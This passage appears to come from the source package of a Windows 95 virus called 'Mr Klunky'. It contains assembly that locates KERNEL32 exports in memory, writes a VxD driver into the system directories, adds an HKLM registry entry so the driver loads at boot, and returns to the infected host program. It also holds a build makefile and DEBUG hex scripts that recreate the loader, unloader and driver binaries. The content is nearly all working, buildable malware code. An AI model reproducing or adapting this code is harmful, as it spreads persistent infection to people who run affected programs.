characteristics word. + and bx, 0F000h ; Unmask the bytes we need. + cmp bx, 2000h ; Is it 2000h (a DLL)? + jne Find_PE ; Nope, keep searching. + + ; Check image base field. + cmp dword ptr [edi+34h], 0BFF70000h ; Image Base > KERNEL32 base? + jl Find_PE ; Nope, keep searching. + + ; It certainly is the PE header. Now locate + ; the export data (.edata) section. + Find_Export_Section: + + ; Save base address for use with RVAs. + mov eax, [edi+34h] ; Get the base address. + mov [ebp+dwBaseAddr], eax ; Save it. + + ; Go to KERNEL32.DLL's first section. + xor eax, eax ; Go to first section. + mov ax, [edi+14h] ; + add eax, edi ; + add eax, 18h ; + + mov cx, [edi+06h] ; Set up num sections to check. + + CheckSectionSignature: + cmp [eax], 'ade.' ; Is this dword ".eda"? + jne CheckNextSection ; Nope. Next secton. + + cmp dword ptr [eax+4], 00006174h ; "ta\0\0" + je ExtractExportFunctions ; Yes. Found the export section. + + CheckNextSection: + add eax, 28h ; Next section please. + dec cx ; Section checked. + + cmp cx, 0 ; Counter reached zero? + jne CheckSectionSignature ; No. Check next section. + + jmp RestoreHost ; Doh! No sections left. Bye. + + ; Now that we have the export section we + ; need to extract the address of our two + ; functions from it. This means we must + ; traverse both the name array and address + ; array. + ExtractExportFunctions: + ; Go to the export section. + mov ebx, [eax+0Ch] ; Section Virtual Address. + add ebx, [ebp+dwBaseAddr] ; Plus base of DLL. + + ; Point to array of string pointers. + mov edi, [ebx+20h] ; Start RVA name address array. + add edi, [ebp+dwBaseAddr] ; Plus base of DLL. + + ; Determine offset for unnamed functions. + mov ecx, [ebx+14h] ; Number of functions... + sub ecx, [ebx+18h] ; ...less number of names... + mov eax, 4 ; ...times by four. + mul ecx ; Do it. + mov [ebp+dwUnnamedOffset], eax ; Save it. + + ; Calculate number of double words in string pointer array. + mov ecx, [ebx+18h] ; Number of names... + mov eax, 4 ; ...times by four. + mul ecx ; Do it. + xchg ecx, eax ; CX=Num dwords. + + xchg edi, edx ; DX holds start of array. + + CheckFunctionName: + sub ecx, 4 ; Next name. + mov edi, edx ; Base address... + add edi, ecx ; ...plus array index. + mov edi, [edi] ; Get RVA of name. + add edi, [ebp+dwBaseAddr] ; Add base address. + + lea esi, [ebp+lpGetProc_Rec] ; GetProcAddress record. + lea eax, [ebp+dwGetProc] ; Save entry point here. + call ExtractAbsoluteAddress ; Check this name for it. + + lea esi, [ebp+lpGetMod_Rec] ; GetModuleHandleA record. + lea eax, [ebp+dwGetMod] ; Save entry point here. + call ExtractAbsoluteAddress ; Check this name for it. + + cmp ecx, 0 ; Checked all the names? + jne CheckFunctionName ; Nope. Check the next name. + + cmp [ebp+dwGetProc], 0 ; Did we get this address? + je RestoreHost ; Nope, bomb out. + + cmp [ebp+dwGetMod], 0 ; Did we get this address? + je RestoreHost ; Nope, bomb out. + + ; We have found the entry points for the + ; functions we need. After we initialise + ; them we may use *any* KERNEL32.DLL + ; function with impunity! + UseFunctions: + ; Get KERNEL32 handle. + lea eax, [ebp+lpK32Name] ; < "KERNEL32" + push eax ; < + mov eax, [ebp+dwGetMod] ; + call eax ; Direct GetModuleHandleA call. + + mov [ebp+dwModHandle], eax + cmp eax, 0 ; Result == 0? + je RestoreHost ; Yep, bomb out. + + CheckSysDir: + lea eax, [ebp+lpGetSystemDirectoryA] ; Dir to check. + call CheckVxD ; Find/create VxD in dir. + jnc DynaLoadMrKlunky ; Created/found - not loaded. + + CheckWinDir: + lea eax, [ebp+lpGetWindowsDirectoryA] ; Dir to check. + call CheckVxD ; Find/create VxD in dir. + jc RestoreHost ; Already loaded/failure. + + DynaLoadMrKlunky: + ; Dynaload. + xor ebx, ebx ; N/A. + xor edi, edi ; N/A. + lea esi, [ebp+lpMrKlunkyLoad] ; Load the VxD. + call OpenIt ; Do it. + + ; Store in registry. + lea eax, [ebp+lpAA32Name] ; < "ADVAPI32" + push eax ; < + mov eax, [ebp+dwGetMod] ; + call eax ; Direct GetModuleHandleA call. + + mov [ebp+dwModHandle], eax ; Save handle. + cmp eax, 0 ; Result == 0? + je RestoreHost ; Yep, forget registry. + + UpdateRegistry: + ; Make registry entry as follows so we get + ; loaded when Windows 95 boots. + ; HKLM\CurrentControlSet\Services\VxD\MrKlunky + ; binary Start = 00 + ; string StaticVxD = "MrKlunky.VxD" + lea eax, [ebp+lpRegCreateKeyExA] ; + call GetProcAddress ; + jc RestoreHost ; + + lea ebx, [ebp+dwUnnamedOffset] ; < lpdwDisposition - who cares? + push ebx ; < + lea ebx, [ebp+dwRegHandle] ; < phkResult. + push ebx ; < + push 0 ; lpSecurityAttributes. + push 000F003Fh ; KEY_ALL_ACCESS + push 0 ; REG_OPTION_NON_VOLATILE + push 0 ; lpClass. + push 0 ; Reserved. + lea ebx, [ebp+lpMrKlunkyKey] ; < SubKey. + push ebx ; < + push 80000002h ; HKEY_LOCAL_MACHINE + call eax + + cmp eax, 0 ; Was the return value 0? + jne RestoreHost ; Nope, error exit. + + mov ebx, [ebp+dwRegHandle] ; Key handle in EBX. + + lea eax, [ebp+lpRegSetValueExA] ; + call GetProcAddress ; + jc CloseRegKey ; + + xchg eax, edi ; EDI = function address. + + push 01h ; Size. + lea eax, [ebp+dbZeroByte] ; < Set value to 00h + push eax ; < + push 3h ; REG_BINARY type. + push 0 ; Reserved. + lea eax, [ebp+lpStart] ; < Set value for "Start". + push eax ; < + push ebx ; Registry key handle. + call edi ; + + push 0Dh ; Size. + lea eax, [ebp+lpMrKlunkyFileName] ; < Set value to "MrKlunky.VxD" + push eax ; < + push 1h ; REG_SZ type. + push 0 ; Reserved. + lea eax, [ebp+lpStaticVxD] ; < Set value for "StaticVxD". + push eax ; < + push ebx ; Registry key handle. + call edi ; + + CloseRegKey: + lea eax, [ebp+lpRegCloseKey] ; + call GetProcAddress ; + jc RestoreHost ; + + push ebx ; + call eax ; Close key. + + RestoreHost: + ; Return to host. + db 081h, 0EDh ; < sub ebp, #Orig_Entry_Point#. + ddOrigEntry dd 0 ; < + + mov [esp+(8*4)], ebp ; Set up return address on stack. + popad ; Restore all registers. + ret ; Go there! + + Mr_Klunky ENDP + + + + ; This proc checks whether the string pointed to by EDI contains the name of + ; a desired funtion. If so it extracts the appropriate absolute address + ; using variables and export section data (in EBX), placing it in the + ; desired variable (the address of which is stored in EAX). + ; + ; Parameters :- EAX - Address of a variable the absolute address is to be + ; saved in, if this is the function sought. + ; EBX - Address of start of export (.edata) section. + ; ECX - Function name array offset. + ; EDI - Address of the function name to check. + ; ESI - Pointer to the following structure :- + ; DWORD - Size of the function name (including any + ; NULLs) contained in the next item. + ; BYTE - Start of buffer containing desired + ; function's name. + ; [dwBaseAddr] - DWord containing base address for use + ; with Relative Virtual Addresses (RVAs). + ; [dwUnnamedOffset] - DWord containing offset into function + ; address array (to skip unnamed functions). + ExtractAbsoluteAddress PROC + pushad ; Save everything. + + mov ecx, [esi] ; Get string length. + add esi, 4 ; Point to string + rep cmpsb ; Check the string. + + popad ; Restore everything. + + jne EAA_NotString ; This isn't the string - exit. + + xchg esi, eax ; ESI = dword for address. + + mov eax, [ebx+1Ch] ; RVA of Function Address array. + add eax, [ebp+dwUnnamedOffset] ; Plus unused function names. + add eax, [ebp+dwBaseAddr] ; Plus DLL load address. + add eax, ecx ; Plus array offset. + mov eax, [eax] ; Get the address. + add eax, [ebp+dwBaseAddr] ; Plus DLL load address. + + mov [esi], eax ; Save the address. + + EAA_NotString: + ret + ExtractAbsoluteAddress ENDP + + + + ; This proc retrieves the entry point (returned in EAX) for the specified + ; function (whose string is pointed to by EAX). + GetProcAddress PROC + push eax ; lpProcName. + mov eax, [ebp+dwModHandle] ; < hModule. + push eax ; < + call [ebp+dwGetProc] ; Call GetProcAddress directly. + + cmp eax, 0 ; EAX = 0? + jne GetProcDone ; Nope, success. + + stc ; Failure. + + GetProcDone: + ret + GetProcAddress ENDP + + + + OpenFile PROC + ; This proc opens the file pointed to by file path buffer. + lea esi, [ebp+lpStoredVxD] ; < Buffer to place file path in. + add esi, [ebp+ddMrK_VxD_Size] ; < + + OpenIt PROC + ; This proc opens the file pointed to by ESI, open mode is specified by EBX, + ; access mode is specified by EDI. + ; + ; The file handle is returned in EBX, CF set on error or clear on success. + ; Get entry address for CreateFile. + lea eax, [ebp+lpCreateFileA] ; + call GetProcAddress ; + jc OpenFile_Error ; Error exit. + + ; Open the file as specified. + push 0 ; + push 00000027h ; + push ebx ; + push 0 ; + push 0 ; + push edi ; + push esi ; + call eax ; + + ; Check for error. + cmp eax, 0FFFFFFFFh ; Error? + je OpenFile_Error ; Yep, exit. + + ; Success return. + xchg eax, ebx ; EBX = handle. + clc ; Success! + ret + + OpenFile_Error: + stc ; Failure. + ret + + OpenIt ENDP + OpenFile ENDP + + + + CheckVxD PROC + ; This proc calls the function named by [EAX] (either "GetSystemDirectoryA" + ; or "GetWindowsDirectoryA"), appends the returned directory with the name + ; of the Mr Klunky's driver. It then attempts to create the file indicated + ; by the constructed filespec. + ; + ; CF is clear on success, set on error. + ; Get the specified directory. + call GetProcAddress ; Retrieve entry point. + jc CheckVxD_Error ; Exit on error. + ; + mov ebx, MaxStringLen ; Max size of string to return. + push ebx ; + lea edi, [ebp+lpStoredVxD] ; < Buffer to place string in. + add edi, [ebp+ddMrK_VxD_Size] ; < + push edi ; + call eax ; Retrieve dir as string. + ; + cmp eax, ebx ; Returned size > 1000d? + jg CheckVxD_Error ; Yep. Too big to handle. + + ; Check out the string + add edi, eax ; EDI = End of string (NULL). + cmp byte ptr [edi-1], 5Ch ; Is the last character a '\'? + jne CheckVxD_NoStringFix ; Nope, no fix needed. + dec edi ; Yep, better overwrite it. + CheckVxD_NoStringFix: ; + + ; Append "\MrKlunky.VxD",0 to the path. + lea esi, [ebp+lpMrKlunkyVxD] ; Source. + mov ecx, 14d ; Size. + rep movsb ; Do it. + + ; Open the file. + mov ebx, 1 ; Create new file. + mov edi, 0C0000000h ; Open for read/write. + call OpenFile ; Do it. + jc CheckVxD_Error ; Exit on error. + + ; Write the Stored VxD to the file. + lea eax, [ebp+lpWriteFile] ; Get WriteFile() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push 0 ; No overlapped IO. + lea edi, [ebp+dwNumBytesWritten] ; < Var for num bytes written. + push edi ; < + ; + db 068h ; push ... + _ddMrK_VxD_Size dd 000000000h ; ... Number of bytes to write. + ; + lea edi, [ebp+lpStoredVxD] ; < Buffer to write from. + push edi ; < + push ebx ; File handle. + call eax ; Call WriteFile(). + ; + ; Correct num bytes written? + db 066h, 081h, 0BDh ; cmp word ptr [ebp+ ... + dd dwNumBytesWritten ; ... dwNumBytesWritten], ... + _dwMrK_VxD_Size dw 00000h ; ... MrK_VxD_Size + ; + je CheckVxD_WriteOK ; Yep. Good. + ; + xor eax, eax ; Nope, flag write error. + ; + CheckVxD_WriteOK: ; + xchg eax, edi ; Save return code. + + ; Set new EOF. + lea eax, [ebp+lpSetEndOfFile] ; Get SetEndOfFile() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push ebx ; File handle. + call eax ; Call SetEndOfFile(). + ; + xchg eax, esi ; Save returned result. + + ; Write all changes to disk. + lea eax, [ebp+lpFlushFileBuffers] ; Get FlushFileBuffers() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push ebx ; File handle. + call eax ; Call FlushFileBuffers(). + + ; Close the file. + lea eax, [ebp+lpCloseHandle] ; Get CloseHandle() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push ebx ; File handle. + call eax ; Call CloseHandle(); + ; + cmp eax, 0 ; Close error occurred? + je CheckVxD_Error ; Yep, error exit. + + cmp esi, 0 ; Set EOF error occurred? + je CheckVxD_Error ; Yep, error exit. + + cmp edi, 0 ; Write error occurred? + je CheckVxD_Error ; Yep, error exit. + + clc ; Success. + ret ; Bibi. + + CheckVxD_Error: + stc ; Error. + ret ; Bibi. + + CheckVxD ENDP + + + + _lpMrKlunkyLoad db "\\." + _lpMrKlunkyVxd db "\" + _lpMrKlunkyFileName db "MrKlunky.VxD" + _dbZeroByte db 0 + + _lpK32Name db "KERNEL32", 0 + ; KERNEL32 API functions. + _lpCloseHandle db "CloseHandle", 0 + _lpCreateFileA db "CreateFileA", 0 + _lpFlushFileBuffers db "FlushFileBuffers", 0 + _lpGetLastError db "GetLastError", 0 + _lpGetSystemDirectoryA db "GetSystemDirectoryA", 0 + _lpGetWindowsDirectoryA db "GetWindowsDirectoryA", 0 + _lpSetEndOfFile db "SetEndOfFile", 0 + _lpWriteFile db "WriteFile", 0 + + _lpAA32Name db "ADVAPI32", 0 + ; ADVAPI32 API functions. + _lpRegCloseKey db "RegCloseKey", 0 + _lpRegCreateKeyExA db "RegCreateKeyExA", 0 + _lpRegSetValueExA db "RegSetValueExA", 0 + + + _dwNumBytesWritten dd 0 + _dwBaseAddr dd 0 + _dwModHandle dd 0 + _dwUnnamedOffset dd 0 + + _dwRegHandle dd 0 + _lpStart db "Start", 0 + _lpMrKlunkyKey db "SYSTEM\CurrentControlSet\Services\VxD\MrKlunky", 0 + _lpStaticVxD db "StaticVxD", 0 + + _dwGetProc dd 0 + _lpGetProc_Rec dd 15d + db "GetProcAddress", 0 + + _dwGetMod dd 0 + _lpGetMod_Rec dd 17d + db "GetModuleHandleA", 0 + + _lpStoredVxD equ $ + + VxD_LOCKED_CODE_ENDS + +VxD_LOCKED_DATA_ENDS + + + END MRKLUNKY_Device_Init + + +;=[END MRKLUNKY.ASM]========================================================= + + +;=[BEGIN MRKLUNKY.DEF]======================================================= + +VXD MRKLUNKY DYNAMIC +DESCRIPTION 'MRKLUNKY' +SEGMENTS + _LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _ITEXT CLASS 'ICODE' DISCARDABLE + _IDATA CLASS 'ICODE' DISCARDABLE + _PTEXT CLASS 'PCODE' NONDISCARDABLE + _PDATA CLASS 'PDATA' NONDISCARDABLE SHARED + _STEXT CLASS 'SCODE' RESIDENT + _SDATA CLASS 'SCODE' RESIDENT + _DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE + _RCODE CLASS 'RCODE' + +EXPORTS + MRKLUNKY_DDB @1 + +;=[END MRKLUNKY.DEF]========================================================= + + +;=[BEGIN MAKEFILE]=========================================================== + +NAME = MRKLUNKY + +# 16-bit linker. +LINK = LINK + +# Definitions for MASM 6 Assembler. +ASM = ml +AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0 +ASMENV = ML +LFLAGS = /VXD /NOD + +# MASM 6 inference rules. +.asm.obj: + set $(ASMENV)=$(AFLAGS) + $(ASM) -Fo$*.obj $< + +all : $(NAME).VXD + +OBJS = MRKLUNKY.obj + +MRKLUNKY.obj: MRKLUNKY.asm + +$(NAME).VxD: $(NAME).def $(OBJS) + link @<<$(NAME).lnk +$(LFLAGS) +/OUT:$(NAME).VxD +/MAP:$(NAME).map +/DEF:$(NAME).def +$(OBJS) +<< + + @del *.exp>nul + @del *.lib>nul + @del *.map>nul + @del *.obj>nul + +;=[END MAKEFILE]============================================================= + + +;=[BEGIN MRKLUNKY.SCR]======================================================= + +N LOAD-MRK.COM +E 0100 4D 5A C0 00 03 00 00 00 20 00 00 00 FF FF 00 00 +E 0110 00 00 00 00 00 00 00 00 3E 00 00 00 01 00 FB 61 +E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0300 0E 1F BA B3 00 B4 09 CD 21 B8 84 16 BB 27 00 CD +E 0310 2F 2E 89 3E 1C 01 2E 8C 06 1E 01 8C C0 0B C7 74 +E 0320 12 BA 0F 01 B8 01 00 2E FF 1E 1C 01 72 05 BA D5 +E 0330 00 EB 78 50 5B BA F4 00 B4 09 CD 21 83 FB 01 75 +E 0340 03 BA 20 01 83 FB 02 75 05 BA 43 01 EB 5D 83 FB +E 0350 03 75 05 BA 5F 01 EB 53 83 FB 04 75 05 BA 84 01 +E 0360 EB 49 83 FB 05 75 05 BA A3 01 EB 3F 83 FB 06 75 +E 0370 05 BA C9 01 EB 35 83 FB 07 75 05 BA EE 01 EB 2B +E 0380 83 FB 08 75 05 BA 12 02 EB 21 83 FB 09 75 05 BA +E 0390 36 02 EB 17 83 FB 0A 75 05 BA 5D 02 EB 0D 83 FB +E 03A0 0B 75 05 BA 82 02 EB 03 BA A9 02 B4 09 CD 21 B4 +E 03B0 4C CD 21 41 74 74 65 6D 70 74 69 6E 67 20 74 6F +E 03C0 20 6C 6F 61 64 20 4D 72 20 4B 6C 75 6E 6B 79 2E +E 03D0 2E 2E 0A 0D 24 53 75 63 63 65 73 73 66 75 6C 6C +E 03E0 79 20 6C 6F 61 64 65 64 20 4D 72 20 4B 6C 75 6E +E 03F0 6B 79 21 24 43 6F 75 6C 64 6E 27 74 20 6C 6F 61 +E 0400 64 20 4D 72 20 4B 6C 75 6E 6B 79 21 0A 0D 24 4D +E 0410 52 4B 4C 55 4E 4B 59 2E 56 58 44 00 00 00 00 00 +E 0420 45 72 72 6F 72 3A 31 20 2D 20 56 58 44 4C 44 52 +E 0430 5F 45 52 52 5F 4F 55 54 5F 4F 46 5F 4D 45 4D 4F +E 0440 52 59 24 45 72 72 6F 72 3A 32 20 2D 20 56 58 44 +E 0450 4C 44 52 5F 45 52 52 5F 49 4E 5F 44 4F 53 24 45 +E 0460 72 72 6F 72 3A 33 20 2D 20 56 58 44 4C 44 52 5F +E 0470 45 52 52 5F 46 49 4C 45 5F 4F 50 45 4E 5F 45 52 +E 0480 52 4F 52 24 45 72 72 6F 72 3A 34 20 2D 20 56 58 +E 0490 44 4C 44 52 5F 45 52 52 5F 46 49 4C 45 5F 52 45 +E 04A0 41 44 24 45 72 72 6F 72 3A 35 20 2D 20 56 58 44 +E 04B0 4C 44 52 5F 45 52 52 5F 44 55 50 4C 49 43 41 54 +E 04C0 45 5F 44 45 56 49 43 45 24 45 72 72 6F 72 3A 36 +E 04D0 20 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 42 41 +E 04E0 44 5F 44 45 56 49 43 45 5F 46 49 4C 45 24 45 72 +E 04F0 72 6F 72 3A 37 20 2D 20 56 58 44 4C 44 52 5F 45 +E 0500 52 52 5F 44 45 56 49 43 45 5F 52 45 46 55 53 45 +E 0510 44 24 45 72 72 6F 72 3A 38 20 2D 20 56 58 44 4C +E 0520 44 52 5F 45 52 52 5F 4E 4F 5F 53 55 43 48 5F 44 +E 0530 45 56 49 43 45 24 45 72 72 6F 72 3A 39 20 2D 20 +E 0540 56 58 44 4C 44 52 5F 45 52 52 5F 44 45 56 49 43 +E 0550 45 5F 55 4E 4C 4F 41 44 41 42 4C 45 24 45 72 72 +E 0560 6F 72 3A 31 30 20 2D 20 56 58 44 4C 44 52 5F 45 +E 0570 52 52 5F 41 4C 4C 4F 43 5F 56 38 36 5F 41 52 45 +E 0580 41 24 45 72 72 6F 72 3A 31 31 20 2D 20 56 58 44 +E 0590 4C 44 52 5F 45 52 52 5F 42 41 44 5F 41 50 49 5F +E 05A0 46 55 4E 43 54 49 4F 4E 24 55 6E 6B 6E 6F 77 6E +E 05B0 20 65 72 72 6F 72 20 6F 63 63 75 72 65 64 21 24 +RCX +04C0 +W +N UNLD-MRK.COM +E 0100 4D 5A C5 00 03 00 00 00 20 00 00 00 FF FF 00 00 +E 0110 00 00 00 00 00 00 00 00 3E 00 00 00 01 00 FB 61 +E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0300 0E 1F BA B6 00 B4 09 CD 21 B8 84 16 BB 27 00 CD +E 0310 2F 2E 89 3E 21 01 2E 8C 06 23 01 8C C0 0B C7 74 +E 0320 15 B8 02 00 BB FF FF BA 18 01 2E FF 1E 21 01 72 +E 0330 05 BA DA 00 EB 78 50 5B BA FB 00 B4 09 CD 21 83 +E 0340 FB 01 75 03 BA 25 01 83 FB 02 75 05 BA 48 01 EB +E 0350 5D 83 FB 03 75 05 BA 64 01 EB 53 83 FB 04 75 05 +E 0360 BA 89 01 EB 49 83 FB 05 75 05 BA A8 01 EB 3F 83 +E 0370 FB 06 75 05 BA CE 01 EB 35 83 FB 07 75 05 BA F3 +E 0380 01 EB 2B 83 FB 08 75 05 BA 17 02 EB 21 83 FB 09 +E 0390 75 05 BA 3B 02 EB 17 83 FB 0A 75 05 BA 62 02 EB +E 03A0 0D 83 FB 0B 75 05 BA 87 02 EB 03 BA AE 02 B4 09 +E 03B0 CD 21 B4 4C CD 21 41 74 74 65 6D 70 74 69 6E 67 +E 03C0 20 74 6F 20 75 6E 6C 6F 61 64 20 4D 72 20 4B 6C +E 03D0 75 6E 6B 79 2E 2E 2E 0A 0D 24 53 75 63 63 65 73 +E 03E0 73 66 75 6C 6C 79 20 75 6E 6C 6F 61 64 65 64 20 +E 03F0 4D 72 20 4B 6C 75 6E 6B 79 21 24 43 6F 75 6C 64 +E 0400 6E 27 74 20 75 6E 6C 6F 61 64 20 4D 72 20 4B 6C +E 0410 75 6E 6B 79 21 0A 0D 24 4D 52 4B 4C 55 4E 4B 59 +E 0420 00 00 00 00 00 45 72 72 6F 72 3A 31 20 2D 20 56 +E 0430 58 44 4C 44 52 5F 45 52 52 5F 4F 55 54 5F 4F 46 +E 0440 5F 4D 45 4D 4F 52 59 24 45 72 72 6F 72 3A 32 20 +E 0450 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 49 4E 5F +E 0460 44 4F 53 24 45 72 72 6F 72 3A 33 20 2D 20 56 58 +E 0470 44 4C 44 52 5F 45 52 52 5F 46 49 4C 45 5F 4F 50 +E 0480 45 4E 5F 45 52 52 4F 52 24 45 72 72 6F 72 3A 34 +E 0490 20 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 46 49 +E 04A0 4C 45 5F 52 45 41 44 24 45 72 72 6F 72 3A 35 20 +E 04B0 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 44 55 50 +E 04C0 4C 49 43 41 54 45 5F 44 45 56 49 43 45 24 45 72 +E 04D0 72 6F 72 3A 36 20 2D 20 56 58 44 4C 44 52 5F 45 +E 04E0 52 52 5F 42 41 44 5F 44 45 56 49 43 45 5F 46 49 +E 04F0 4C 45 24 45 72 72 6F 72 3A 37 20 2D 20 56 58 44 +E 0500 4C 44 52 5F 45 52 52 5F 44 45 56 49 43 45 5F 52 +E 0510 45 46 55 53 45 44 24 45 72 72 6F 72 3A 38 20 2D +E 0520 20 56 58 44 4C 44 52 5F 45 52 52 5F 4E 4F 5F 53 +E 0530 55 43 48 5F 44 45 56 49 43 45 24 45 72 72 6F 72 +E 0540 3A 39 20 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F +E 0550 44 45 56 49 43 45 5F 55 4E 4C 4F 41 44 41 42 4C +E 0560 45 24 45 72 72 6F 72 3A 31 30 20 2D 20 56 58 44 +E 0570 4C 44 52 5F 45 52 52 5F 41 4C 4C 4F 43 5F 56 38 +E 0580 36 5F 41 52 45 41 24 45 72 72 6F 72 3A 31 31 20 +E 0590 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 42 41 44 +E 05A0 5F 41 50 49 5F 46 55 4E 43 54 49 4F 4E 24 55 6E +E 05B0 6B 6E 6F 77 6E 20 65 72 72 6F 72 20 6F 63 63 75 +E 05C0 72 65 64 21 24 +RCX +04C5 +W +N MRKLUNKY.VXD +E 0100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 +E 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 +E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0130 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 +E 0140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 +E 0150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F +E 0160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 +E 0170 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 +E 0180 4C 45 00 00 00 00 00 00 02 00 04 00 00 00 00 00 +E 0190 00 80 03 00 06 00 00 00 01 00 00 00 6E 00 00 00 +E 01A0 00 00 00 00 00 00 00 00 00 02 00 00 04 01 00 00 +E 01B0 DA 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 +E 01C0 C4 00 00 00 01 00 00 00 DC 00 00 00 00 00 00 00 +E 01D0 00 00 00 00 00 00 00 00 F4 00 00 00 00 01 00 00 +E 01E0 00 00 00 00 00 00 00 00 0A 01 00 00 26 01 00 00 +E 01F0 E4 01 00 00 00 00 00 00 E4 01 00 00 00 00 00 00 